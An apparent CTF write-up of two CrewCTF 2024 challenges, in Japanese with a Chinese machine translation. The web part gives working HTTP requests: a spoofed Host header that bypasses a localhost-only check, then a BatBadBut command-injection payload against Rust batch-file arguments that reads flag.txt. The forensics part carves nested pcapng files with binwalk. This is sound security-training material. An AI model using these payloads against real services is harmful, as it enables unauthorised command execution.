CrewCTF 2024 Writeup

WriteUp 1个月前 admin
96 0 0

[web] Malkonkordo [网络] 马尔康科多

ソースコード有り。Rustで書かれたMarkdownビューワーが与えられる。ソースコードを巡回すると管理者限定でコマンド実行できるエンドポイント GET /ai/run がある。これを動かす前に管理者であることを確認するフィルターがある。
包括源代码。您将获得一个用 Rust 编写的Markdown查看器。查看源代码,有一个端点GET /ai/run允许仅由管理员执行命令。有一个过滤器可以在运行之前验证您是否是管理员。

async fn middleware_localhost<E: Endpoint>(next: E, req: Request) -> Result<Response> {
    // No authentication? -T // "I [too] like to live dangerously." -V
    if let Some(host) = req.uri().host().or(req.header("host")) {
        if !host.trim_start().starts_with("127.0.0.1") {
            return Err(Error::from_status(StatusCode::UNAUTHORIZED));
        }
    } else {
        return Err(Error::from_status(StatusCode::UNAUTHORIZED));
    }

    let resp = next.call(req).await?.into_response();
    Ok(resp)
}

接続元が127.0.0.1からであることを確認するものだが、req.header("host")というのがありHostヘッダーからも情報取得していた。なのでリクエストヘッダーのHostヘッダーに127.0.0.1を入れれば偽装できる。試しに以下のようにリクエストを飛ばしてみると環境変数の一覧が得られた。
确认连接源来自127.0.0.1 ,但是有req.header("host") ,并且信息也是从 Host header 中获取的。因此,可以通过在请求头的Host头中放入127.0.0.1来进行伪装。当我尝试发出如下所示的请求时,我能够获得环境变量列表。

GET /ai/run?cmd=env&arg= HTTP/1.1
Host: 127.0.0.1


→

…
CARGO: \\?\C:\Users\ctf\.rustup\toolchains\1.76-x86_64-pc-windows-msvc\bin\cargo.exe
…

環境変数を見るとRustのバージョンは1.76のようである。実行可能なコマンドはいくつかあるが、ping2というのにブラックリストフィルタリングが実装されていて、しかもバッチファイルを呼び出していて非常に怪しい。
查看环境变量,Rust 版本似乎是 1.76。有几个命令可以执行,但是ping2实现了黑名单过滤,并且调用了批处理文件,非常可疑。

"ping2" => {
    if arg.contains(['\'', '"', '*', '!', '@', '^', '?']) {
        return Err("bad chars found".to_string());
    }
    let routput = Command::new(".\\scripts\\ping.bat")
        .arg(arg)
        .output();

    if let Err(_e) = routput {
        return Err("failed to run ping2 output".to_string());
    }

    Ok(String::from_utf8_lossy(&routput.unwrap().stdout).to_string())
}

シェルスクリプトではなくバッチファイルが動いている。これは…BatBadButか?
正在运行批处理文件而不是shell 脚本。这是……BadBadBut吗?

blog.flatt.tech 博客.flatt.tech

Rustも同様に影響があり、関連するSecurity Advisoryを見ると1.77.2未満のバージョンが影響を受けるので環境変数の情報から脆弱なバージョンであることが分かる。
Rust也同样受到影响,如果查看相关的安全公告,可以看到低于1.77.2的版本受到影响,因此从环境变量信息可以看出它是一个有漏洞的版本。

試していこう。ブログ記事に書かれているpayloadの"&calc.exeを入れてみる。だが、これはブラックリストフィルタリングに阻まれてbad chars foundと言われてしまう。
我们来试试吧。我尝试安装博客文章中编写的有效负载"&calc.exe ,但是,这被黑名单过滤阻止并显示bad chars found 。

ブログ記事をよく読むと"が使えない場合の回避方法も書かれていて"が含まれる環境変数から"を持って来るやり方が紹介されていた。これを適用し、%CMDCMDLINE:~-1%&calc.exeとやってみると応答が帰ってきて、そのうちの入力値が跳ね返ってくる部分がPinging ""...となっていた。例えばhogeと入れるとPinging hoge...のように帰ってくるので、意図せず受け入れられてはいそうなので成功はしていそう。calcではなくhostnameを試してみると… 応答末尾にacce4aa638aaが含まれてきた!実行した際の標準出力が得られる関係で末尾に応答が乗ってくるようだ。RCE達成できた。
如果你仔细阅读博客文章,你会发现当"无法使用”时有一个解决方法,它介绍了如何从包含"环境变量中获取" , %CMDCMDLINE:~-1%&calc.exe时应用该方法。我尝试了%CMDCMDLINE:~-1%&calc.exe ,返回了响应,输入值被弹回的部分是Pinging ""...例如,当我输入hoge时,它​​返回为Pinging hoge...看起来像是被接受了无意中,所以它似乎成功了。当我尝试使用主机名而不是 calc… acce4aa638aa包含在响应的末尾!因为执行时的标准输出似乎即将到来。能够实现RCE。

あとは、flag.txtを取得したいので、Windows環境ではtype.exeを使う。スペースが使えるのか分からなかったがやってみると使えて、具体的には%CMDCMDLINE:~-1%&type.exe flag.txtをargとした以下のようなリクエストでフラグが得られる。
另外,由于我想获取flag.txt ,因此我在Windows环境中使用 type.exe 。我不确定是否可以使用空格,但是当我尝试时,我能够使用它们,具体来说,我可以通过如下请求获取标志%CMDCMDLINE:~-1%&type.exe flag.txt作为参数。

GET /ai/run?cmd=ping2&arg=%25CMDCMDLINE%3a~-1%25%26type.exe%20flag.txt HTTP/1.1
Host: 127.0.0.1


→

HTTP/1.1 200 OK
…

Network checking finished!
crew{■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■}

[forensics] Recursion [取证] 递归

USB通信のパケットキャプチャ usb.pcapng が与えられる。何の通信か正確には分からないが、Windowsベースでファイルのやり取りをしているように見える。binwalkでひたすらファイルカービングすると解けた。
USB通信抓包usb.pcapng给出。我不知道具体的通信是什么,但它似乎是基于Windows 的文件交换。我能够通过使用 binwalk雕刻文件来解决这个问题。

binwalkする。 宾沃克。

$ binwalk -e usb.pcapng

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
13811         0x35F3          gzip compressed data, maximum compression, has original file name: "layer4.pcapng", from FAT filesystem (MS-DOS, OS/2, NT), last modified: 2024-04-06 09:43:23

layer4.pcapngが得られた。さらにbinwalkしよう。
获得layer4.pcapng。让我们进一步走吧。

$ binwalk -e layer4.pcapng

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
14095         0x370F          7-zip archive data, version 0.4

$ dd ibs=1 obs=1 skip=14095 if=layer4.pcapng of=out.7z

自動で展開されなかったのでddコマンドで手動で持ってきて解凍すると、layer3.pcapngが得られた。どんどんbinwalkしていくと、layer1.pcapngまで得られる。
由于没有自动解压,所以我使用dd命令手动获取并解压,得到了layer3.pcapng。当你越来越多地进行 binwalk 时,你会得到layer1.pcapng。

$ binwalk -e layer3.pcapng

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
13527         0x34D7          POSIX tar archive (GNU), owner user name: "capng"

$ binwalk -e layer2.pcapng

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
22811         0x591B          Zip archive data, at least v2.0 to extract, compressed size: 3048, uncompressed size: 54768, name: layer1.pcapng
25961         0x6569          End of Zip archive, footer length: 22

$ binwalk -e layer1.pcapng 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------

$ strings layer1.pcapng | grep crew
crew{■■■■■■■■■■■■■■■■■■}

layer1.pcapngからは何も出てこなかったのでstringsするとフラグが得られる。
由于layer1.pcapng没有输出任何内容,因此您可以通过字符串获取标志。

原文始发于hamayanhamayan:CrewCTF 2024 Writeup

版权声明:admin 发表于 2024年8月6日 下午3:06。
转载请注明:CrewCTF 2024 Writeup | CTF导航

相关文章